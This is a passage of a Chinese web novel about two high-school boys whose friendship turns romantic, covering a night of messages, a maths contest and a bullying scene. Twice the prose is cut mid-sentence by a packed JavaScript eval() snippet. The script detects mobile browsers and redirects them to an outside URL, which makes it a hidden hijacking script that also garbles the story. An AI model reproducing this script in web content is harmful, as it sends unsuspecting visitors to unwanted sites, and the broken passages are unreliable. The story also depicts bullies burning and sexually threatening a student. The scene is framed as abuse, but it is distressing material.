沈泽许则是淡定地把西瓜往前一推,两人立刻像抢到骨头的小狗般欢呼起来。 陈温低头瞧见自己的手指沾满西瓜汁,觉得这个闷热的晚上,好像也没那么难熬。 “沈哥,为什么你有的时候不来晚自习啊?”陈温用纸巾慢条斯理地擦着手指问道。 沈泽许的笔尖没停,道:“有事。” “什么事?很重要吗?”陈温托起下巴凑近,鼻尖几乎要碰到沈泽许的练习册。 “去医院。” 三个字轻飘飘地落下,陈温猛地顿住。 男生用余光偷瞄。沈泽许的侧脸依旧平静,连睫毛都没颤一下。 “那个……”陈温戳了戳沈泽许的练习册,“这道题辅助线是不是画错了?” 闻言,沈泽许终于有了明显的反应,他抬眼时,正好对上陈温的眼睛,里头盛着的关心烫得他喉头发紧。 “嗯。”沈泽许轻轻点头,拿起一旁的橡皮擦,说:“连错地方了。” 陈温一直盯着沈泽许的侧脸看了三秒,说:“那个……需要帮忙的话,随时可以喊我。” 沈泽许简单地“嗯”了一声。就这么简单的一个音节,却让陈温整个人都松弛下来。 男生伸了个大大的懒腰,又打了哈欠,说:“那今天晚上我还可以给你打视频吗?” 沈泽许低头继续写题,却藏不住嘴角的弧度:“……随你。” “沈哥,你平时几点睡的啊?”陈温重新投入写题,边假装漫不经心地问。 “写完题。” “那今天要写多久?” 沈泽许眼睛微微眯起:“问这么清楚……”他压低声音,“是要陪我熬夜吗?” “谁、谁要陪你!”陈温耳尖红得能滴血,“我就随便问问……” 沈泽许轻笑一声,埋头继续写题。 刚刚那一下,把陈温的心脏激得小鹿乱撞。 不对,为什么会小鹿乱撞? 陈温摸了摸胸口,皱起眉头。 可能是熬夜太晚的缘故,今天得早点睡。 陈温强迫自己继续写数学竞赛题,可那些数字像小蚂蚁般在纸上乱爬。 他第三次偷瞄时,发现沈泽许的练习册边缘不知何时多了一行小字: 「我今天不写题。」 16. 晚安 “同学们下课了,大家晚安~” 广播里的女声刚落,陈温就像被抽了骨头似的瘫在椅子上。 前排两颗脑袋转过来——叶萧云眼睛亮得像探照灯,林宇舟笑得像只偷到油的狐狸。 “陈哥~”叶萧云突然用甜得发腻的声音喊道:“今天的西瓜甜不甜呀?” “……”陈温被两人弄的鸡皮疙瘩都起来了,“你俩又想搞什么幺蛾子?” 叶萧云一个箭步窜过来,神秘兮兮地压低声音:“就是那个、那个……”他双手合十,“帮我们充充电宝吧!求求了!” 陈温被这波撒娇攻击震得头皮发麻。 “好好说话!”他一把抓过两个充电宝,“下次再这么恶心,我就不客气了。” “陈哥万岁!” 两人异口同声,变脸比翻书还快。 充电宝放好,陈温一抬头就撞上沈泽许的目光。那人单肩挎着书包,安安静静地站在课桌旁,像是在等他一样。 “一起走吗?”陈温飞快地拉上书包拉链。 那人“嗯”了一声,没有多少情绪。 走廊的声控灯随着他们的脚步声渐次亮起。 校门口空荡荡的,保安亭的电视机正播着晚间新闻。 沈泽许要往左走两百米到停车点,这段路刚好与陈温同路。 夜风卷着桂花香掠过耳际,两人出了校门后,一句话也没聊。 这段路又长,又不长。 两人都要走到步行街尽头了,沈泽许也没有要开口的意思。 陈温正想说些什么改变一下这尴尬的气氛,就见拐角处亮起两道刺目的车灯。 一辆黑色奔驰S级像蛰伏的野兽般停在路边,车窗贴着全黑膜,轮毂在路灯下泛着冷光,与周围老旧的居民楼格格不入。 沈泽许的脚步微不可察地顿了一下,夜风也停了。 “你生日是29号?”沈泽许忽然开口问道。 陈温猛地顿住脚步:“你怎么知道?” 步行街的路灯把沈泽许的侧脸镀上一层柔光,眼里看不出情绪:“想要什么礼物?” “都行啊。”陈温看似无意地踢飞一颗石子,“你们送的我肯定都喜欢。”话刚出口就后悔了。 这个“们”字加得实在刻意。 奔驰的车窗无声降下,露出驾驶座上司机制服的白手套。沈泽许看了一眼后,说:“走了,再见。” 他三两步上了车,车门关上的闷响惊飞了树梢的麻雀。 陈温站在原地,看着车尾灯像两滴血融进夜色,他才意识到自己一直攥着书包带,掌心全是汗。 这个时间段太晚了,公交车都没几个。陈温只好徒步回家,幸好小区不算太远。 他边走边回复慕雪阿姨关心的消息,在拐过第二个路口时,屏幕上方弹出一条消息。 沈泽许发来一张照片:后座上放着本《天体物理通识》,扉页上用钢笔写着陈温的生日日期。 陈温有点纳闷:他想表达什么? 这张照片说正常,也不正常。 这本书在沈泽许大腿上,拍摄角度看起来像是精心挑选的,能清清楚楚地看见扉页上面的内容,也可以看见沈泽许修长的两条腿,像明晃晃的“勾引”? 陈温被这个想法吓到了,鸡皮疙瘩掉一地。 电梯“叮”地打开,男生刚迈出脚步就顿住。 陆晚枝整个人软绵绵地挂在江夏身上,脸颊酡红,高跟鞋拎在手里晃悠着。 江夏今天的妆容在走廊灯下白得晃眼,领口的两颗扣子不知何时崩开了,锁骨上还沾着一点口红印。 “晚上好啊……”江夏哑着嗓子打招呼。 陈温下意识放轻脚步,说:“需要帮忙吗?” “包……”江夏艰难地腾出一只手,帆布包滑到陈温臂弯,“帮我拿一下包就行了。” 陆晚枝虽然看起来不重,但是江夏扶得吃力的样子,嘴唇泛白,身子微微发抖。 该不该帮忙? 会不会让她们感到难堪? 陈温在一旁看着扶也不是,站也不是。 江夏费九牛二虎之力将人带到卧室,陆晚枝醉醺醺地在江夏颈窝蹭了蹭,含糊地嘟囔:“夏夏……好香……” 那带着酒气的呼吸喷在对方泛红的耳尖上。 “别闹……” 陆晚枝又仰起头,口红蹭花了江夏的衬衫领子:“夏夏……陪我喝一杯……”她手指不老实地往江夏衣领里钻。 “她这是?”陈温还是放不下担心,便跟了过来,他一站在卧室门口就见到这一幕,有些愣神。 “她就是应酬喝多了。”江夏咬牙切齿地解释道,一边按住陆晚枝乱摸的手,“松手,你口红沾到我了!” 陈温尴尬地别过脸,急忙把包放在玄关柜上,说:“那个……我先走了,包我放鞋柜上了!” “谢……”江夏的感谢被一声轻哼打断。 陈温几乎是落荒而逃地关上门,走廊的感应灯随着他的脚步声亮起。 他靠在冰凉的墙壁上,长长呼出一口气。 陈温也不知道为什么要逃。 刚才的画面在脑海里挥之不去,江夏泛红的耳尖,陆晚枝迷离的眼神,还有那声带着醉意的“夏夏”。 他疯狂摇头,想把那暧昧的画面甩出脑海。 不要多想了,她们不是好朋友吗?朋友跟朋友之间抱一抱很正常吧…… 走廊的感应灯倏然熄灭。陈温站在黑暗里,盯着自家的门缝透出的光线皱起眉。 他分明记得出门时关了所有灯,难道…… 是小偷?!! 陈温警惕起来,取下书包上的水壶,轻手轻脚地推开门。 客厅的电视机正播着综艺节目,主持人的笑声在安静的环境里,格外诡异。 现在的小偷都这么嚣张了? 陈温握紧了水壶,目光扫过空荡荡的客厅,最终锁定在开着灯的厨房门上。 轻小的水壶被他放在一边,换成了墙边的羽毛球拍,他蹑手蹑脚地靠近厨房。 “嗨。” 一个男生的声音突然传来,吓得陈温差点把球拍扔出去。 始作俑者倚在厨房门框上,手里晃着一罐可乐。 “慕雨澄?”陈温放下球拍,松了口气,“你怎么进来的?” “你爸给的钥匙。”慕雨澄说,“我妈让我来给你送汤。” 陈温这才注意到茶几上的保温桶。 他转头想道谢,却撞见慕雨澄莫名其妙翻了个大大的白眼。 “我给你发过信息的,你是不是又开免打扰了?” 掏出手机一看,果然有一条未读消息。 「慕雨澄:来送汤,没看到有人,我先进去了。」 发送时间显示9:55,正是他没看手机进小区的那几分钟。 “这综艺一点也不好看。”慕雨澄自然地坐到沙发上,顺手换了几个台,“我拿了杯可乐,那不介意吧。” “随便你。”陈温捧着保温盒,温热的触感从手心传来,“帮我跟阿姨说一声谢谢。” “要说自己去说。”慕雨澄仰头猛灌了口可乐,喉结上下滚动:“诶,你刚才举球拍的姿势……”他比划了个击球动作,“挺像那么回事的,来一局?” “免了。”陈温揭开盒盖,玉米的甜香混着排骨的醇厚扑面而来,“都几点了,真的是。” 他舀了勺汤,发现慕雨澄还赖在沙发上没动:“你不回家?明天不上课?” “我今天请假了。”慕雨澄伸了个懒腰,“今晚就收留我呗。” 陈温说:“想得美。” 这个屋子,只有一个主卧,一个次卧。而且只有主卧有空调,其他地方用的都是风扇。 陈温睡的是侧卧,主卧的门紧闭着。 那里还保持着妈妈离开时的模样,床头柜上摆着她最爱的薰衣草香薰,衣柜里挂着几件她常穿的家居服。 慕雨澄去那里睡不合适。陈温的房间也不合适,他不喜欢跟别人一起睡觉。 “那我去住酒店?”慕雨澄一个鲤鱼打挺坐起来。 “随你。”陈温说。 “骗你的~”慕雨澄又躺了回去,“这沙发比我床还舒服,我要睡这!” 陈温无奈摇头:“你倒是会挑地方。” “那必须的。” 勺子在陈温手中搅了搅,碰到碗沿发出“叮”地脆响。 慕雨澄那个军事化管理的学校,请假条比校长的头发还稀罕。 陈温忍不住问:“你是不是又打架了?” 遥控器上的手指猛地僵住。电视画面停留在某档综艺,明星嘉宾夸张的笑声里,慕雨澄的视线左右躲闪。 他胡乱的找借口:“有零食没啊?我要饿‘死’了。” 陈温成功被他带偏:“没零食,冰箱有脐橙。” “脐橙就脐橙。” 慕雨澄趿拉着拖鞋往厨房走。 虽然男生不说,但是陈温心里早有了答案。 慕雨澄确实是个麻烦精——三天两头惹事,说话总带刺。 但不得不说,有他在,死气沉沉的家里倒是热闹了不少。 汤不多,陈温能一口气就能喝完。 喝完汤后,他整个人陷在沙发里,举着手机,犹豫着要不要给沈泽许发信息,过几秒还是发了条消息: 「哥,在吗?」 消息发了出去,陈温把手机反扣在胸口。 综艺里的笑声罐头般爆发,主持人正挤眉弄眼地讲着烂梗。 三十秒过去了。 锁屏界面依然漆黑,像口吞掉信号的深井。 可能是在忙吧…… 陈温抓起遥控器胡乱换台,从购物频道跳到新闻联播,直到手机忽然亮了一下。 「大好人:刚刚有点事,怎么了嘛?」 陈温的手比大脑更快反应。 「温馨提示:咋了?你没事吧?」 「大好人:去了趟医院,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171949|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。」 陈温的心脏跟着一揪,差点把旁边的抱枕捏变形。 直到下条消息弹出: 「大好人:去陪家人。」 他长舒一口气,发现慕雨澄不知何时凑了过来,一手拿着脐橙,下巴几乎搁在他肩上:“跟谁聊呢?” “没谁!”陈温手忙脚乱地锁屏,“吃你的脐橙去。” 把人赶走,手机又亮了。 「大好人:你在干嘛呢?」 陈温拍了张电视上的综艺照片发过去: 「看电视。」 「大好人:一个人?」 陈温没想太多,回答道:「两个人。」 发完惊觉不对,连忙补了句:「是我弟。」 沈泽许的回复来得很快: 「不用和我解释。」 这七个字排列得工整又疏离,像把手术刀,轻松挑开他某根神经。 男生删了又写,最终只回了个“嗯”。 「大好人:还打电话吗?」 「温馨提示:不用啦,你早点休息,明天还要考试。」 「大好人:好,晚安。」 陈温盯着最后两个字发呆,直到慕雨澄把冰可乐贴在他脸上。 “再盯屏幕要着火了。” 慕雨澄比陈温小三天零七个小时。虽然两人年纪相仿,但慕雨澄总是时不时摆出一副老成的样子。 “和女朋友聊天呢?”他故意拖长声调。 “你脑子里整天都在想什么?哪来的女朋友?”陈温脸颊两侧奇怪地粉红起来,“你脑子里除了八卦还能装点别的吗?” “能啊。”慕雨澄一把抢过陈温的手机,“比如看看是谁让我们陈大少爷……” “慕雨澄!”陈温反应过来,一个飞扑上去抢。 两人打闹间,手机落在抱枕堆里,屏幕里还亮着,停留在沈泽许发的“好,晚安”上。 慕雨澄瞥见,挑眉道:“就这啊?不过你为什么要给‘她’取这样的称呼?” “陈温你该不会……”慕雨澄的食指在一人一手机之间暧昧地比划。 陈温抄起抱枕砸过去:“滚去睡觉!” “哈哈,恼羞成怒了。”慕雨澄灵活躲开,顺手捞起茶几上的脐橙,“喜欢就追呗。” “要你管。”陈温懒得跟他斗嘴,随手换了几个台,问:“你明天真不上课?” “不上。”慕雨澄整个人瘫在沙发上,像只没骨头的猫,“我妈说了,只要不挂科随我折腾。” “挺悠闲的哈。” “人生嘛……及时行乐最重要。”慕雨澄说。 陈温没再理他,凝视着手机上“晚安”两个字。男生的手悬在键盘上良久,最终只回了个月亮表情,表示“晚安”。 余光里,慕雨澄正同时干三件事:左手打游戏,右手拿着啃了一半的脐橙,胳肢窝还夹着遥控器。 综艺笑声和游戏音效混在一起,吵得像菜市场。 “……”陈温从衣柜里抱出备用被子,重重砸在沙发上。 “给你,还有别玩通宵了。” “遵命。”慕雨澄头也不抬,“不过你怎么跟我妈一个样。” “有毒?”陈温甩上房门,又猛地拉开,“声音调小点!” 慕雨澄比了个OK的手势,然后把电视音量从50调到了49。 陈温躺回床上,手机屏幕便亮了起来,他几乎是条件反射地一把抓起来。 「黄曦:前同桌,在吗?」 不是期待中的昵称。 陈温看着那个熟悉的小猫头像两秒,还是迅速回复: 「在的。」 黄曦是他转学前的老同桌,笑起来右脸会有个浅浅的酒窝。 虽然不算特别漂亮,但总能把宽大的校服穿得干净妥帖,身上永远带着淡淡的柑橘香。 他还记得女生总爱在课本边角画小太阳,然后说这个太阳像他,但他却不觉得。 陈温转学后,两人偶尔还会联系,她也会时不时发消息问陈温的近况。 「黄曦:抱歉啊,前几天开学太忙了,没给你发信息。」 「对了,新学校还习惯吗?」 陈温愣了一下。窗外不知何时下起了小雨,雨滴敲打着玻璃窗。 「温馨提示:挺好的,怎么突然问这个?」 消息刚发出去,对方的状态就显示在输入中,反复了几次才发来下一条: 「黄曦:下周我们去你们那边秋游[图片]」 陈温点开图片的瞬间,身子整个僵住。 那是一张秋游行程表,地点赫然印着“XX森林公园”。 就在他明天竞赛比赛的地方附近。 黄曦又补了条消息: 「那群人也去……虽然说不一定能碰到你,但还是想提醒下你。」 陈温突然想起那天,黄曦偷偷塞给他的创可贴时,她那欲言又止的表情。 还有教导主任拍着他的肩膀说:“男孩子要大度些”。 17. 考试 清晨的校园笼罩在朦胧的雾气中,参加竞赛的同学们陆续登上大巴车。 陈温站在队伍中间,眼下泛着淡淡的青色,整个人像棵被霜打过的植物,蔫蔫地耷拉着脑袋。 慕雨澄天没亮就溜了回去,这会儿不知道到了没。 “哈——”叶萧云在旁边打了个夸张的哈欠,校服领子歪到一边,露出里面皱巴巴的T恤,“早知道昨晚不通宵学习了……” 上车时,沈泽许极其自然地跟着陈温走向靠窗的位置。两人手臂不经意相碰,又默契地分开。 后排传来窸窣的动静。是上次给沈泽许递情书的女生,她代表1班也参加了竞赛比赛,正红着脸偷瞄前排。 叶萧云一上车就瘫在座位上睡着了,脑袋随着车身摇晃。 陈温无聊地环顾四周,大部分同学都耷拉着脑袋打盹,只有零星几个还在强撑着翻看笔记或者是错题本。 他悄悄侧过头,见沈泽许依然保持着最初的姿势,带上了耳机,耳机线耷拉在一旁。 “沈哥……”陈温小声问,“你在听什么?” 沈泽许把自己右耳的耳机摘下来,塞进了他耳道里。 舒缓的钢琴曲流淌进耳膜,像一汪清泉。 “好听。”陈温说,没立即归还耳机。沈泽许也没催促,重新闭上眼睛打盹。 两人就这样共享着一首曲子,肩膀隔着校服轻轻相贴。 可黄曦的提醒在陈温点脑海中回响。 不会这么巧的吧…… 惠城的景色算不得多惊艳,却胜在那股子人间烟火气。老街飘着的肠粉香,还有巷口阿婆叫卖的糖水。 每年秋天,总有几所学校的校车浩浩荡荡开进来,把青石板路踩得咚咚响。 陈温的母校也曾是其中一员,去年这时候,全班还在古巷口拍过合照…… 空调风“呼呼”吹着,扎在陈温裸露的脖颈上。他不舒服地缩起肩膀,把半张脸埋进衣领里。 忽然,一阵温暖的重量落在他肩头。 陈温睁开眼,瞧见蓝白相间的校服正妥帖地裹住自己。 男生把脸埋进衣领,深深地吸了一口气,是沈泽许身上常有的味道:初闻是茉莉花茶的清苦,细品却透出点蜂蜜的甜。 等一下,我干嘛要闻人家的衣服? 好像……变态。 陈温抬眼看去,脱了外套的沈泽许双手抱胸,头侧过一边:“睡吧,到了我叫你。” 沈泽许的声音让盘旋在陈温心头许久的阴云突然散了,他又悄悄把鼻尖埋进校服领口,那里还残留着对方的温度。 “……” 当大巴驶过第三个路口时,陈温的呼吸终于变得绵长。他的额头正无意识地抵在沈泽许肩上,发丝随着车身晃动,蹭得人发痒。 没过了一会,沈泽许就把头撇了回来,低头看了一眼某人。 窗外飞逝的景色,他悄悄把空调叶板往上推了推,车帘也拉过了些,挡住了射向陈温鼻尖的一束光。 过了一个多小时,车上的人几乎都睡了一会,现在有几个已经醒了。 沈泽许轻声提醒:“要到了。” 陈温迷迷糊糊睁开眼,脸颊还贴着沈泽许的肩膀。意识逐渐清醒,他这才发现自己贴着人家,慌忙直起身,手忙脚乱地就要还校服,袖口却勾住了沈泽许的手表带。 “谢谢……” “不用跟我说谢谢,明白吗?”沈泽许打断他,没难度地解开缠绕的布料。 “大家准备准备快到了!”带队老师大声喊道。 “……”陈温红着耳朵偏过头,两人没再讲话。 大巴停下,大家下了车。九月的阳光像融化的金子,泼得人睁不开眼。 陈温站在考场外的台阶上,伸了个懒腰,后颈还残留着大巴上小憩时的暖意。 考场大厅里人头攒动,各色校服交织成流动的色块。其他学校、班级的人陆陆续续确认自己的考场。 陈温接过管理员发给他的考号纸条。 是2号考场。 沈泽许在另一边领取纸条,正低头核对准考证。陈温一步接着两步过去,搭上人家的肩,瞥见沈泽许的考场,道:“赌不赌?” 沈泽许垂眸,目光落在他的睫毛上:“赌什么?” “当然是比这次考试排名谁高啊。”陈温踮了踮脚,尝试与沈泽许同高,“我赢了,你答应我一件事;你赢了,额……我随你处置。” 这底气不是没来由的。虽然开学考栽在超纲题上,但竞赛题型他早已烂熟于心。 说夸张点,如果开学考不考那些没学的知识点,他数学完全可以考得比沈泽许高。 “干什么呢~”叶萧云的脑袋突然从两人中间冒出来,活像地鼠钻洞,“带我一个呗!” “。”陈温算是明白了,每次他和沈泽许聊天,总会有人来打扰。 “哈哈,没事啊。”他咬牙切齿地揉乱叶萧云的卷毛,“我们在说考试的事。” “什么没事?我可听到了,我也要赌!” 听到了还问。 叶萧云像只发现猫薄荷的橘猫,死死抱住沈泽许的胳膊:“我赢了要哈根达斯!输了……” 他眼珠子一转,“就当我不存在。” 陈温看着沈泽许默默抽回手臂,退到两米开外,用口型对他说了三个字。 他刚要辨认,广播忽地炸响:“2号考场考生,立即入场!” 陈温只好只好作罢,将身上的物品交给带队老师,就拿着笔袋前往考场。 穿过安检门时,他回头看了眼——旁边那间教室是沈泽许的3号考场。 屋内冷气开得很足,陈温找到自己的座位坐下,充当考场的教室已经坐满了人,大家都在等待考试开始。 随着铃声响起,同学们开始下笔。 空调的温度适中,刚好能够让人专注答题。 陈温领到试卷,没急着先做,而是从头到尾地审题。 这张竞赛试卷确实难度不小,但都在他能力范围内。 审完题后,陈温按每道题的难度安排写题时间。 得益于数学老师胡春涛平时教导的解题技巧,他做起来得心应手。 不到一个小时,他就用两张草稿纸,完成了所有题目。 男生放下笔,抬头看了一眼闹钟,距离考试结束还有15分钟。 陈温本不想检查,但脑海中突然浮现胡春涛考前严肃的面孔:“必须检查!要是被我知道谁没检查,就罚做三套模拟卷!” 想到“敬业姐”的恐怖“处罚”,陈温立马打了个寒颤,立马捻起试卷,从头到尾仔细检查了一遍。 确认无误后,他自信地拿起试卷走向讲台。 敬业姐让他仔细检查,可没说不能提前交卷啊。 “老师,交卷。” 监考老师正转着笔发呆,闻言抬头瞥了陈温一眼,说:“不行。” “为什么?”陈温小声说:“不是说允许提前交卷吗?” “我说不行就不行。”老师把笔往桌上一拍,“去年就有个学生提前半小时交卷,结果漏了整页题。”他意味深长地看了眼陈温的试卷,“回去再检查三遍。” 陈温张了张嘴还想争辩,老师却别过脸去,没再理他。 他只好悻悻地回到座位,发现前排的女生正偷偷对他比大拇指。 显然也吃了闭门羹。 教室里依然安静,谁都没有被这个小插曲影响,只有翻页声和咳嗽声偶尔响起。 陈温一会儿验算题目,一会儿百无聊赖地转着笔,一会儿盯着时钟,希望它可以走快点,但是分针像是被胶水黏住了似的,纹丝不动。 就在他准备再检查一遍时,教室前排站起个戴酒瓶底眼镜的男生。 男生走到讲台旁边,说:“交卷。” 监考老师原本耷拉的眼皮瞬间抬起,脸上堆出菊花般的笑容:“哎呀!这不是惠城一中的柳小天才吗?”他压低声音,“去年全国创新赛第一名对吧?老师记得你!” “嗯。”男生推了推眼镜,镜片反着白光,“能走了吗?” “快去吧,快去吧!”老师双手接过试卷,殷勤得像在接待贵宾,“小声点,别吵到其他同学啊。” 陈温看着男生轻手轻脚离开的背影,又低头看了看自己早就检查三遍的试卷,忽然有股无名火,他很想把草稿纸揉成团砸向讲台。 好一个双标现场! 陈温盯着试卷上早已检查n遍的答案,感觉自己像块要发霉的面包,无聊到不行。 往常的竞赛都能提前交卷,这次却被困在座位上,时间也变得格外漫长。 沈泽许现在在做什么呢? 这个念头像只不听话的麻雀,扑棱棱地撞进他脑海里。 3号考场就在隔壁,不过两墙之隔,那人此刻应该在微蹙着眉解题,眼睛专注得发亮。 陈温见过太多次那样的神情。 笔尖在纸上行云流水,修长的手指偶尔转一下笔,袖口蹭到墨水也浑然不觉。 不知道为什么,陈温脑海的画面闪回那个意外的触碰。 沈泽许俯身时,唇瓣擦过他额头的触感还历历在目——转瞬即逝却让人心跳失序。 那真的只是个意外吗? 是意外吧…… 陈温在草稿纸上画了个问号,又迅速涂成实心圆。 或许是因为沈泽许在国外生活过?听说外国人见面都会行贴面礼…… 但是这个蹩脚的借口,让他自己都想发笑。 男生紧皱着眉,咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171950|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住下唇,逼迫自己不要再想了。 可“沈泽许”三个字鬼使神差地出现在草稿纸角落,等他回过神来时,已经用橡皮擦得纸面发毛。 橡皮屑沾了满手,像极了飘落的百合花粉。 自己到底怎么了?他也说不准。 “考试结束,请同学们停笔,停止答卷。” 很快结束了考试,陈温如释重负地搁下笔。 他边收拾文具,边等老师收试卷时,发现草稿纸上那个被擦得发毛的痕迹,在阳光下仍清晰可辨。 刚走出考场,就听见带队老师的吆喝声:“惠中的同学!这边集合!” 走廊上已经聚集了不少考生,人流来往。陈温穿过拥挤的人群,朝惠中的队伍靠近。 走廊的尽头,叶萧云正手舞足蹈地跟沈泽许比划着什么,而后者倚在墙边,神色冷淡。 见陈温过来,叶萧云便立刻蹦过来,说:“陈温,最后那道题你用了泰勒展开吗?” 陈温道:“不然呢。” “好烦啊,那道题我最后没算出来。” “同学们安静,安静。”带队老师拍了拍手,“老师现在先点名,待会儿带大家去吃饭。” “好耶!” 几个男生已经弹起来,毕竟这顿是学校难得掏腰包的“霸王餐”。 饭店包厢里,玻璃转盘映出每个人疲惫的脸。陈温选了沈泽许对面的位置,他一抬头就能看见那人的“冰块脸”。 “感觉我的脑细胞死光了……”叶萧云哀嚎着往嘴里塞红烧肉,“我现在看菜单都像在看数学符号。” 陈温夹了块排骨,放进他碗里:“孩子,多吃点,补补脑。” “我不要这个。”叶萧云抗拒地把排骨拨到一边,然后像是看到什么,眼前一亮,“我要吃沈哥面前那个虾!” 陈温正想吐槽这家伙得寸进尺,就见沈泽许直接把整盘虾换过去,却用公筷夹了只最大的,越过转盘放在陈温碗里。 虾壳泛着油光,尾部翘起的弧度,像极了他在草稿纸上画的那个问号。 陈温盯着那虾发愣,听见自己的心跳声大得离谱。 他夹起面前的排骨,手臂越过转盘。 礼尚往来……很正常的,对吧? “给。”排骨落进沈泽许的碗里。 叶萧云从饭碗里抬起头来:“我的呢?” “你自己不是说不要吗?要吃自己夹。”陈温没好气道,头也不抬。 他低头扒饭,余光却看见沈泽许夹起那块排骨,轻轻地咬了一口,喉结滚动…… 包厢的门被推开,服务员端着果盘进来。 陈温趁机起身,借口去洗手间,逃离了这个让他心跳失序的空间。 走廊的热气扑面而来,他这才发现自己的手心全是汗。 上完厕所,陈温洗着手,身后的帘子突然被掀开,几个男生嬉笑着走了进来。 他关掉水龙头,甩了甩手上再水,飞落的水珠在洗手台上溅开水花。 为首的男生嘴角挂着讥讽的弧度,他喊道:“哟,真够巧的。这不是我们的好学生陈温吗?好久不见啊。” 他几步走上前,故意将水龙头开到最大,水花溅湿了陈温的衣角跟裤子。 而陈温始终低着头,看不出是什么情绪。 他转身要走,被一个染着黄毛的男生拦住去路:“跟你说话呢!” “让开。”男生的声音冷得像冰。 “你说让就让啊?”为首的男生王浩一把拽住陈温的头发,将他拉回了来,“上次的处分我可还记着呢。” 陈温被迫仰起头,眼神却平静得可怕。 “我都转学了,别来烦我了。” “转学怎么了?”王浩伸手掐住陈温的下巴,指甲陷入柔软的肌肤,“转学就不认老朋友了?” 他的指甲有些长了,刮到陈温白皙的下巴上,留下划伤后刺眼的红痕。 陈温沉默地看着他,没什么情绪,好像不屑一顾眼前这人,王浩被这眼神激怒了。 “怎么?不高兴啊?”他说,“哥几个陪你玩玩。” “皮肤挺白的啊?我喜欢。”他凑近陈温耳边,呼出的热气带着烟臭味,“我们可以慢慢玩……” 陈温盯着天花板,喉结动了动。 ——为什么总是他? 那些倒霉事就像认准了他似的,接二连三地往他身上砸。他试图理出个因果逻辑来,可思绪却像团乱麻,越扯越紧。 他到底做错了什么? 陈温的思绪被扯回半年前的那个阴天。 有人把他骗进同样的地方,同样是这些面孔,同样的姿势,画面逐渐重合。 只是那时候,他校服口袋里藏着录音笔。 那是黄曦偷偷塞给他的。 18. 别骗我 “抢老子的女人?你他妈活腻了?!” 暴怒的吼声在潮湿的厕所里炸开,陈温被狠狠按在瓷砖墙上,后背撞上冷硬的墙面,疼痛让他眼前一黑。 陈温头被撞的有些晕,但还强撑道:“我不知道你在说什么!” 王浩狞笑从裤兜掏出一张皱巴巴的信纸,甩在他脸上:“装傻?” 粉色的信封飘落在地——是今早那个扎马尾的女生塞给他的,面对这份突如其来的爱慕之情,陈温选择了拒绝,并礼貌地说道: “不好意思,我暂时没有谈恋爱的打算。你人很好,相信一定可以遇到比我更为优秀出色的男孩子。” 他还记得女生通红的脸,和那句被拒绝后的那句“没关系”。 “她不属于任何人。”陈温声音很轻,几乎被窗外的蝉鸣吞没。 “你再说一遍?我看上的就是我的。” 王浩威胁着靠近。 陈温数着对方呼吸的间隔。 一下,两下,三下。 在第四下到来前,他的膝盖找到了那个精确的角度。 “啊!” 男生整张脸瞬间扭曲,像只煮熟的虾米般蜷缩倒地,喉咙里挤出不成调的哀嚎。 几个小弟手忙脚乱地去扶,却被老大胡乱挥舞的手臂打中下巴。 “我……操。”男生从牙缝里挤出脏话,颤抖的手接过小弟手里一根点燃的烟。 “老子今天非得治一治你,就是看不惯你们这些心高气傲的学霸。” 烟头的火星在昏暗的厕所里划出一道橘红色的拖尾,狠狠地摁在被推倒在地的陈温腕骨凸起的位置。 “嘶——” 皮肉烧焦的气味混着男生身上的汗臭扑面而来,陈温的嘴唇被自己咬出血痕,却硬是没吭一声。 “装什么清高?你们这些小白脸,跟那娘娘腔一样。”男生扯开裤子,露出里面白色的东西,“如果你是女的就好了,不过没关系我们可以慢慢玩……” 恶心的笑声在狭小空间里回荡。 陈温的指甲深深掐进掌心,理智和怒火在脑中撕扯。 他知道这群人是故意的,但这些行为确实恶心到他了。 不过再等等,再等等,巡查的教导主任快到了。 “教务处今天要检查厕所抽烟的,看到这个场景,你猜会怎么样?”陈温声音发着抖,死死盯着对方的眼睛。 王浩一把掐住他下巴:“骗鬼呢?那帮老东西半年都没来——” 还没有说完,炸雷般的怒吼从门口传来:“你们在干什么?!” 巡查主任高大的身影逆光而立,手里的登记板“哐当”砸在墙上。 王浩吓得一个踉跄,急忙拉上裤子,烟头掉进小便池。 回忆与现实在眼前重叠。 陈温背抵着冰凉刺骨的墙面,周围的人堵住了他逃跑的去路,男生的目光扫向紧闭的厕所帘子。 这次不会有巡查主任出现了…… “唰!”帘子被暴力地掀开。 门口逆着光,沈泽许在看清陈温被按在墙上的瞬间,寒霜骤凝。 他甚至没给混混们反应的时间,三步并作两步冲上前,一拳砸在领头王浩的颧骨上。 一声闷响,那人后脑勺重重磕在瓷砖上,鼻血瞬间涌出。 “你他妈——”小弟们的叫骂戛然而止,他们被沈泽许的眼神像刀锋般扫过,有了王浩这个先例,所有人不自觉地后退半步。 陈温还没反应过来,手腕就被猛地握住,沈泽许的掌心滚烫,力道大得几乎要捏碎他的骨头,却让他莫名安心。 两人冲出门的瞬间,身后传来塑料倒地的声响——有人踢翻了垃圾桶。 但两人跑得太快,那些咒骂很快被风吹散。 直到拐进无人的拐角,沈泽许才松开手,停了下来。 昏暗的空间里,陈温听见两人的心跳声此起彼伏,交叠成慌乱的节奏。 “你怎么来了?”他撑着膝盖大口喘气,小心翼翼地观察沈泽许的反应。 “路过。”沈泽许声音像浸了冰的金属。 